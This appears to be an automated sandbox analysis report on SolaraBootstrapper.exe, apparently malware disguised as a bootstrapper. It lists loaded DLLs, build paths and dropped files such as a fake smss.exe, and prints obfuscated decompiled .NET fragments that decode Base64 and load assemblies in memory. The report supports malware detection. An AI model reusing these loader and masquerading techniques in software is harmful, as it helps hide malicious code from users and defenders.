Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Media\fontreview.exe	Directory created: C:\Program Files\Uninstall Information\smss.exe
Source: C:\Media\fontreview.exe	Directory created: C:\Program Files\Uninstall Information\69ddcba757bf72

Source: SolaraBootstrapper.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SolaraBootstrapper.exe

Static file information: File size 2435584 > 1048576

Source: SolaraBootstrapper.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x252200

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: SolaraBootstrapper.exe, SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Boostraper.bat, 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmp, Boostraper.bat, 00000004.00000003.1368901666.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, Boostraper.bat, 00000004.00000000.1365417749.00000000007A3000.00000002.00000001.01000000.00000008.sdmp, Boostraper.bat, 00000004.00000003.1368451293.0000000006B1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\WpfApp1\WpfApp1\obj\x64\Release\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000000.1609627288.000001F1F6E92000.00000002.00000001.01000000.00000015.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PresentationFramework.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cd57e4c171d6e8f5ea8b8f824a6a7316.PDB source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdbL source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\WpfApp1\WpfApp1\obj\x64\Release\WpfApp1.pdbC81DD402BA65B9201D60593E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F74750E5975C64E2189F source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: k[pC:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.PDB source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: /_/src/Wpf.Ui/obj/Release/net472/Wpf.Ui.pdbSHA256 source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: PresentationFramework.pdb9E-7F9C-4437-8B11-F424491E3931}\InprocServer32::::::::::::::::::::::::::2222666666:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: k[indoC:\Windows\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.1809282686.000000018049A000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb% source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2913074806.000001F1F7352000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdbh source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2913074806.000001F1F7352000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: WindowsBase.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F9439000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\WpfApp1.pdb.pdbpdb.p` source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.1809282686.000000018049A000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdbgI source: SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: /_/src/Wpf.Ui/obj/Release/net472/Wpf.Ui.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdb source: Bootstrapper.exe, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: WebView2Loader.dll.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WindowsBase.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32MINGLIU.TTC,PMingLiUSIMSUN.TTC,SimSunMSMINCHO.TTC,MS PMinchoBATANG.TTC,BatangMSJH.TTC,Microsoft JhengHei UIMSYH.TTC,Microsoft YaHei UIYUGOTHM.TTC,Yu Gothic UIMALGUN.TTF,Malgun Gothiol source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PresentationCore.pdbA29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32:::::::::::::::::::::::::: source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Solara.Dir\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.PDBt source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: Bootstrapper.exe.1.dr, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{ZQmfXFzxCROHIlbUA5hpM1RF04.dpSpLKtq3k6UhIl3FkYFQNK8MS,ZQmfXFzxCROHIlbUA5hpM1RF04.UaZg4DZiiKObYkRnvtXOagFxAn,ZQmfXFzxCROHIlbUA5hpM1RF04.m4SVvqswDmfqxUenPVfPTes9F3,ZQmfXFzxCROHIlbUA5hpM1RF04.ap2aZnArfwxzQSDxbfe9FIPYaO,CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa._4CkzZPsxrsQYoxC73jxuIGw7HT4WZ0YnHkaztIQnBiK0PrcpiIxqL5zl7K()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Bootstrapper.exe.1.dr, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{yOYZ8MnN5VzCdJZB9trEOlsz1j[2],CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.F69njST0qHNdhuOnVFbTZq6LfMbL5jFzuGFvo67WLerPPHHiAhwsgenlp6(Convert.FromBase64String(yOYZ8MnN5VzCdJZB9trEOlsz1j[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{ZQmfXFzxCROHIlbUA5hpM1RF04.dpSpLKtq3k6UhIl3FkYFQNK8MS,ZQmfXFzxCROHIlbUA5hpM1RF04.UaZg4DZiiKObYkRnvtXOagFxAn,ZQmfXFzxCROHIlbUA5hpM1RF04.m4SVvqswDmfqxUenPVfPTes9F3,ZQmfXFzxCROHIlbUA5hpM1RF04.ap2aZnArfwxzQSDxbfe9FIPYaO,CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa._4CkzZPsxrsQYoxC73jxuIGw7HT4WZ0YnHkaztIQnBiK0PrcpiIxqL5zl7K()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{yOYZ8MnN5VzCdJZB9trEOlsz1j[2],CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.F69njST0qHNdhuOnVFbTZq6LfMbL5jFzuGFvo67WLerPPHHiAhwsgenlp6(Convert.FromBase64String(yOYZ8MnN5VzCdJZB9trEOlsz1j[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{ZQmfXFzxCROHIlbUA5hpM1RF04.dpSpLKtq3k6UhIl3FkYFQNK8MS,ZQmfXFzxCROHIlbUA5hpM1RF04.UaZg4DZiiKObYkRnvtXOagFxAn,ZQmfXFzxCROHIlbUA5hpM1RF04.m4SVvqswDmfqxUenPVfPTes9F3,ZQmfXFzxCROHIlbUA5hpM1RF04.ap2aZnArfwxzQSDxbfe9FIPYaO,CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa._4CkzZPsxrsQYoxC73jxuIGw7HT4WZ0YnHkaztIQnBiK0PrcpiIxqL5zl7K()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{yOYZ8MnN5VzCdJZB9trEOlsz1j[2],CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.F69njST0qHNdhuOnVFbTZq6LfMbL5jFzuGFvo67WLerPPHHiAhwsgenlp6(Convert.FromBase64String(yOYZ8MnN5VzCdJZB9trEOlsz1j[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, AYPbygI6thTL64gAPb6.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, AYPbygI6thTL64gAPb6.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: Bootstrapper.exe.1.dr, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: _96qP30kSiOEhs4z2pDuJuK2kIb System.AppDomain.Load(byte[])
Source: Bootstrapper.exe.1.dr, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: U0mc116Xtf2PXrdjGp9YEF1YC1 System.AppDomain.Load(byte[])
Source: Bootstrapper.exe.1.dr, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: U0mc116Xtf2PXrdjGp9YEF1YC1
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: _96qP30kSiOEhs4z2pDuJuK2kIb System.AppDomain.Load(byte[])
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: U0mc116Xtf2PXrdjGp9YEF1YC1 System.AppDomain.Load(byte[])
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: U0mc116Xtf2PXrdjGp9YEF1YC1
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: _96qP30kSiOEhs4z2pDuJuK2kIb System.AppDomain.Load(byte[])
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: U0mc116Xtf2PXrdjGp9YEF1YC1 System.AppDomain.Load(byte[])
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, x86QIa912Cr6TkttwNkdQZi56x.cs	.Net Code: U0mc116Xtf2PXrdjGp9YEF1YC1
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	.Net Code: vdD8kZdkb0 System.AppDomain.Load(byte[])
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	.Net Code: vdD8kZdkb0 System.Reflection.Assembly.Load(byte[])
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	.Net Code: vdD8kZdkb0
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	.Net Code: vdD8kZdkb0 System.AppDomain.Load(byte[])
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	.Net Code: vdD8kZdkb0 System.Reflection.Assembly.Load(byte[])
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	.Net Code: vdD8kZdkb0

Source: SolaraBootstrapper.exe.3.dr

Static PE information: 0x9EA529E4 [Tue May 5 20:04:52 2054 UTC]

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

File created: C:\Media\__tmp_rar_sfx_access_check_5061328

Jump to behavior

Source: Boostraper.bat.1.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Code function: 1_2_00404B5A push es; retn 0000h	1_2_00404C26
Source: C:\ProgramData\Bootstrapper.exe	Code function: 3_2_00404ACA push es; retn 0000h	3_2_00404B96
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078E28C push eax; ret	4_2_0078E2AA
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078CAB5 push eax; retf 0078h	4_2_0078CACE
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078ED46 push ecx; ret	4_2_0078ED59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFB4B12D2A5 pushad ; iretd	29_2_00007FFB4B12D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFB4B242325 push eax; iretd	29_2_00007FFB4B24233D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFB4B312316 push 8B485F93h; iretd	29_2_00007FFB4B31231B
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Code function: 38_2_00007FFB4B2500BD pushad ; iretd	38_2_00007FFB4B2500C1
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Code function: 40_2_00007FFB4B2500BD pushad ; iretd	40_2_00007FFB4B2500C1
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Code function: 41_2_00007FFB4B2500BD pushad ; iretd	41_2_00007FFB4B2500C1
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 42_2_00007FFB4B2500BD pushad ; iretd	42_2_00007FFB4B2500C1
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B27940C push es; retn 7002h	45_2_00007FFB4B2794E9
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B2500BD pushad ; iretd	45_2_00007FFB4B2500C1
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 46_2_00007FFB4B2500BD pushad ; iretd	46_2_00007FFB4B2500C1

Source: Bootstrapper.exe.1.dr, BgWRrtLNKPQ6eDiCrDpM8NHcU484cUgvcRkDBjWZGMkEJLSCWIeKUBg6us.cs	High entropy of concatenated method names: 'mnqyw8XwMo0DBxCPB0iTUZZOdT62pd8ek6SWkvy7sSD2el23wg7qgcqdf8', 'GNqVDNnzNQ4HqRE85a8GOi32aX1sQ4xkisxrGfGxqrAhqerChM94Jt83bU', 'TNzGoTnNQ4CXfQqoHNKCzt3woUmFQKyP76XC7pR2L9lYJTlHthNyKhwGK3', 'Ae39C2o7gOeZlIYTyj', 'Ea2HlJXxA5Lf5enPHo', 'lqiG9lw8ZoxaxENsf0', 'lmCnbf1RYHcoVqy4Lp', 'Ns9bgAJK1mazzNnnY3', 'ewpag0xJvCCqv2aMza', 'aC7Q64YtK1enKxW9xJ'
Source: Bootstrapper.exe.1.dr, ZQmfXFzxCROHIlbUA5hpM1RF04.cs	High entropy of concatenated method names: 'MtkPZ5VwImqIqvD8FmAEwtbzF6ozWss1GZbYJikaTfUx9pNWwc4drYfFfl79XvAKyrfKFZ79ohr281T3zpncxppdIC', 'nwl9S8OKaZppSuhSIQZQor12FimQmutWhoqd0gJ4HaUd3IhoiAHrwfyziAfhyYJ9kjIDVb5lN26LDqo3V2DjqNLzXP', 'HDv5fMs4qA3MwyuLW0r2T0LRDQphhfq6MUYVbhOPSOjr22gHqN4mlFHAkm1HzGZs6wINcNLaWK8HHTuvoKISlD6Bn7', '_2bjoPRHbVsDGk4ZZn7v4sEXW4rhn0CypzAXNn9gDfoyB3D5cuK5b5e67rM0DpEHITvyPOnG30abPHIuPtZpB2tI8ym'
Source: Bootstrapper.exe.1.dr, VGyF2g9xFCeJvqkbe8CH8N5OqJk4CSryXW1LrCNEw.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'E6cpwPJUpcbXS0MxEBay4oL4tyRkrmntPRhxxCsE9cIYMVI9uaSaQQUqvzo4crOYmuLFC3Vebw1jBriqj8061a7NbB', 'zINrKlxnUpsB805yi8FdB8o9dc8GpuaOITgAscTiapLQh2tFhyhcSEYtawhrdY0eSjGOviZrMQRUfqRY9YVDuvVYiF', 'G0iPNdocAsW7WFGXeEtgaE8zCkIh4oGmZJo6LhcHSP69kPaqD8nuF35E1ySdGXHNRtKNRZpuJNG6fedNBkISeA2pxO', 'R19jE3Jl2TuzZ5NBtNcW92EVgIMxTsVH9o5FvqR8F5WpCv32Adx57BVxnHdfG3YoSHXJi3PRWTQRaq7dW5tsMKdPiS'
